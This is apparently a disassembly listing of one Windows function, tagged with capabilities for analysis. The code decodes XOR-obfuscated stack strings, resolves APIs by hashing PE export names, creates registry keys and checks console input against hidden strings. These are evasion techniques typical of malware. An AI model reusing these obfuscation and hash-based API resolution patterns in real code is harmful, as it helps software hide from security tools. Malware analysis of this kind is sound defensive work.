Function at 0x43e220
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49eada
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x418
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xf8], edi
lea ecx, [ebp - 0x420]
mov dword [ebp - 0xfc], 0
call fcn.00403920
mov esi, eax
mov dword [ebp - 0xf4], esi
mov cl, byte [esi]
mov byte [0x5069c8], cl
lea ecx, [esi + 8]
push ecx
mov ecx, 0x5069d0
call fcn.00440ee0
add esi, 0x200
cmp esi, 0x506bc8
je 0x43e326
mov ecx, dword [0x506bdc]
cmp ecx, 0xf
jbe 0x43e2e3
mov eax, dword [0x506bc8]
inc ecx
cmp ecx, 0x1000
jb 0x43e2d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e6a5
mov eax, edx
push ecx
push eax
call fcn.004431bb
add esp, 8
mov dword [0x506bd8], 0
mov dword [0x506bdc], 0xf
mov byte [0x506bc8], 0
movups xmm0, xmmword [esi]
movups xmmword [0x506bc8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x506bd8], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov esi, dword [ebp - 0xf4]
add esi, 0x218
cmp esi, 0x506be0
je 0x43e3b6
mov ecx, dword [0x506bf4]
cmp ecx, 0xf
jbe 0x43e373
mov eax, dword [0x506be0]
inc ecx
cmp ecx, 0x1000
jb 0x43e369
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e6a5
mov eax, edx
push ecx
push eax
call fcn.004431bb
add esp, 8
mov dword [0x506bf0], 0
mov dword [0x506bf4], 0xf
mov byte [0x506be0], 0
movups xmm0, xmmword [esi]
movups xmmword [0x506be0], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x506bf0], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x420]
call fcn.004042c0
mov ecx, 0x5069d0
call fcn.00412190
push 0x5069d0
lea ecx, [ebp - 0x3e8]
call fcn.0042ccf0
cmp byte [ebp - 0x250], 0
lea ecx, [ebp - 0x3e8]
mov dword [ebp - 0xfc], 4
sete byte [ebp - 0xe5]
call fcn.00403ff0
cmp byte [ebp - 0xe5], 0
je 0x43e82a
mov dword [ebp - 0xe0], 0xbeb10de
mov dword [ebp - 0xdc], 0x2f87f86
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0xe0], 0xf6d7d1ea
mov dword [ebp - 0xdc], 0xce748937
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0xe0], 0x6518febb
mov dword [ebp - 0xdc], 0xdb8fd5eb
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0xe0], 0x5f202055
mov dword [ebp - 0xdc], 0x62329c05
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0xe0], 0xfe1f86a8
mov dword [ebp - 0xdc], 0x4b1fbfbd
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0xe0], 0xe925b1d6
mov dword [ebp - 0xdc], 0x26300d5a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0xe0], 0x470dedf
mov dword [ebp - 0xdc], 0xb5eaa59b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xe0], 0x7f0c4430
mov dword [ebp - 0xdc], 0x165cf366
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0xe0], 0xde6be5c9
mov dword [ebp - 0xdc], 0x6b7ad7c9
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0xe0], 0x8444d4a2
mov dword [ebp - 0xdc], 0x26300d74
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x1c0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x1c0], xmm1
movaps xmm1, xmmword [ebp - 0x1b0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x1b0], xmm1
movaps xmm1, xmmword [ebp - 0x1a0]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x1a0], xmm1
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x38], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e650
sub ecx, edx
lea eax, [ebp - 0x1c0]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.0040e0d0
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0
call fcn.00430690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x24]
cmp ecx, 0xf
jbe 0x43e6b5
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e6ab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43e6ab
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xe4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xf0], ecx
cmp ecx, esi
je 0x43e74a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43e74a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf4], ecx
dec edi
mov esi, 0x317d411e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43e73d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43e720
cmp esi, 0x3b1e0781
je 0x43e74e
mov ecx, dword [ebp - 0xf4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43e700
mov eax, dword [eax]
jmp 0x43e6d3
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe4]
push 0x5dc
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xe4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xf0], ecx
cmp ecx, esi
je 0x43e7fa
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43e7fa
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf4], ecx
dec edi
mov esi, 0x738e7c2a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43e7ed
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43e7d0
cmp esi, 0x266301a2
je 0x43e7fe
mov ecx, dword [ebp - 0xf4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43e7b0
mov eax, dword [eax]
jmp 0x43e780
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe4]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov edi, dword [ebp - 0xf8]
add esp, 4
push 0xc
call fcn.0044318b
mov ecx, dword [0x4b0848]
mov esi, eax
movaps xmm4, xmmword [0x4b0d40]
xorps xmm0, xmm0
xor edx, edx
mov dword [ebp - 0xf4], esi
add esp, 4
mov dword [ebp - 0xf8], edx
movq qword [esi], xmm0
movups xmm0, xmmword [str.dW_NL_O_c]
mov dword [esi + 8], 0
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d4], ecx
jl 0x43e9a0
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm5, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm6, xmmword [0x4b0c90]
movaps xmmword [ebp - 0x130], xmm0
mov ecx, dword [ebp - 0x130]
nop dword [eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x1e8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x1e8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x1e4]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x1e4], xmm2
add eax, 8
cmp eax, 0x14
jl 0x43e8b0
mov dword [ebp - 0xf8], edx
cmp edx, 0x14
jge 0x43e9d7
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xf8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x1e4], cl
inc edx
mov dword [ebp - 0xf8], edx
cmp edx, 0x14
jl 0x43e9a0
push esi
push 0xf003f
push 0
lea eax, [ebp - 0x1e4]
mov dword [esi], 0
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x43ea1f
push 0
push esi
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x1e4]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jmp 0x43ea23
mov byte [esi + 4], 1
push 0xc
mov byte [esi + 8], 1
call fcn.0044318b
mov ecx, dword [0x4b0848]
xorps xmm0, xmm0
xor edx, edx
mov dword [ebp - 0xf8], eax
add esp, 4
mov dword [ebp - 0xe4], edx
movq qword [eax], xmm0
movups xmm0, xmmword [str.dW_NL_O_c]
mov dword [eax + 8], 0
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x194], ecx
jl 0x43eba0
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm5, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm6, xmmword [0x4b0c90]
movaps xmm4, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x130], xmm0
mov ecx, dword [ebp - 0x130]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x1a8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x1a8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x1a4]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x1a4], xmm2
add eax, 8
cmp eax, 0x14
jl 0x43eab0
mov dword [ebp - 0xe4], edx
cmp edx, 0x14
jge 0x43ebd7
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xe4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x1a4], cl
inc edx
mov dword [ebp - 0xe4], edx
cmp edx, 0x14
jl 0x43eba0
mov eax, dword [ebp - 0xf8]
push eax
push 0xf003f
push 0
mov dword [eax], 0
lea eax, [ebp - 0x1a4]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x43ec30
push 0
push dword [ebp - 0xf8]
lea eax, [ebp - 0x1a4]
push 0
push 0xf003f
push 0
push 0
push 0
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0xf8]
jmp 0x43ec3a
mov eax, dword [ebp - 0xf8]
mov byte [eax + 4], 1
mov byte [eax + 8], 1
xorps xmm0, xmm0
movups xmmword [ebp - 0xb8], xmm0
mov byte [0x5069c8], 1
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
mov dword [ebp - 4], 1
mov dword [ebp - 0xe0], 0xbeb10de
mov dword [ebp - 0xdc], 0x2e17e90
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0xe0], 0xf7c799ec
mov dword [ebp - 0xdc], 0xc636db25
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0xe0], 0x701ebbbb
mov dword [ebp - 0xdc], 0xd683c3f2
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0xe0], 0x10653051
mov dword [ebp - 0xdc], 0x7337d308
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0xe0], 0x8561cbb0
mov dword [ebp - 0xdc], 0x3f5a8ab7
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0xe0], 0xa421a4db
mov dword [ebp - 0xdc], 0x415f6153
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0xe0], 0x9add419a
mov dword [ebp - 0xdc], 0x39562106
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0xe0], 0xc77c8ddb
mov dword [ebp - 0xdc], 0xf531a3eb
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0xe0], 0x2e7a8038
mov dword [ebp - 0xdc], 0x22f19b8d
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0xe0], 0x6f6a7ee6
mov dword [ebp - 0xdc], 0xb02f668c
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0xe0], 0xfe16e448
mov dword [ebp - 0xdc], 0x922a1933
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0xe0], 0x8d4cef37
mov dword [ebp - 0xdc], 0xafc5cf3e
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0xe0], 0x470dedf
mov dword [ebp - 0xdc], 0xb5eaa59b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0xe0], 0x7f0c4430
mov dword [ebp - 0xdc], 0x165cf366
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0xe0], 0xde6be5c9
mov dword [ebp - 0xdc], 0x6b7ad7c9
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0xe0], 0x8444d4a2
mov dword [ebp - 0xdc], 0x26300d74
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0xe0], 0xbafa2ff3
mov dword [ebp - 0xdc], 0x4076476f
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0xe0], 0xaf5cf8b4
mov dword [ebp - 0xdc], 0xd554d58a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0xe0], 0x4a1ff34d
mov dword [ebp - 0xdc], 0x4799efad
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0xe0], 0xe0512c6
mov dword [ebp - 0xdc], 0x905d03e8
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0xe0], 0x9b758a27
mov dword [ebp - 0xdc], 0xf44f7b13
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0xe0], 0xb7299d58
mov dword [ebp - 0xdc], 0xafc5cf1e
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x190]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0x190], xmm1
movaps xmm1, xmmword [ebp - 0x180]
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x180], xmm1
movaps xmm1, xmmword [ebp - 0x170]
xorps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movaps xmmword [ebp - 0x170], xmm1
movaps xmm1, xmmword [ebp - 0x160]
lea ecx, [ebp - 0x190]
xorps xmm1, xmmword [ebp - 0x70]
lea edx, [ecx + 1]
movaps xmmword [ebp - 0x160], xmm1
xorps xmm0, xmm0
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x140], xmm1
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f0f1
sub ecx, edx
lea eax, [ebp - 0x190]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.0040e0d0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 2
call fcn.00430690
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x24]
cmp ecx, 0xf
jbe 0x43f14e
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f144
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440ead
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0xb8]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
call fcn.004206b0
mov eax, dword [str._WSU_]
xor edx, edx
mov dword [ebp - 0xf0], eax
mov ax, word [0x4b0834]
mov word [ebp - 0xec], ax
mov dword [ebp - 0xe4], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xe4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xe4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xf0], cl
inc edx
mov dword [ebp - 0xe4], edx
cmp edx, 6
jl 0x43f191
lea edx, [ebp - 0xf0]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x43f1d6
sub edx, ecx
lea eax, [ebp - 0xf0]
cmp dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0xb8]
push edx
cmova ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xa8]
push eax
call fcn.004277a0
add esp, 8
test al, al
je 0x43f289
movq xmm0, qword [str.TPYPOHS_]
xor edx, edx
mov al, byte [0x4b08f4]
movq qword [ebp - 0xe0], xmm0
mov byte [ebp - 0xd8], al
mov dword [ebp - 0xe4], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xe4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xe4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe0], cl
inc edx
mov dword [ebp - 0xe4], edx
cmp edx, 9
jl 0x43f230
push ecx
lea eax, [ebp - 0xe0]
mov ecx, esi
push eax
lea eax, [ebp - 0x130]
push eax
call fcn.00442ab0
mov ecx, 5
jmp 0x43f29d
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x38]
call fcn.0040d3d0
mov ecx, 6
movups xmm0, xmmword [eax]
mov dword [ebp - 0xfc], ecx
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov dword [ebp - 4], 5
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call fcn.0040d3d0
mov ecx, 0x5069d0
call fcn.004158a0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x43f31c
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f312
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f3d0
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
test al, 2
je 0x43f390
mov ecx, dword [ebp - 0x24]
and eax, 0xfffffffd
mov dword [ebp - 0xfc], eax
cmp ecx, 0xf
jbe 0x43f37e
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f36e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f3d0
push ecx
push edx
call fcn.004431bb
mov eax, dword [ebp - 0xfc]
add esp, 8
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
mov dword [ebp - 4], 1
test al, 1
je 0x43f3fb
mov ecx, dword [ebp - 0x11c]
and eax, 0xfffffffe
mov dword [ebp - 0xfc], eax
cmp ecx, 0xf
jbe 0x43f3e0
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f3d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43f3d6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
mov eax, dword [str._WSU_]
xor edx, edx
mov dword [ebp - 0xe0], eax
mov ax, word [0x4b0834]
mov word [ebp - 0xdc], ax
mov dword [ebp - 0xe4], edx
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xe4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xe4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe0], cl
inc edx
mov dword [ebp - 0xe4], edx
cmp edx, 6
jl 0x43f420
lea edx, [ebp - 0xe0]
lea ecx, [edx + 1]
mov al, byte [edx]
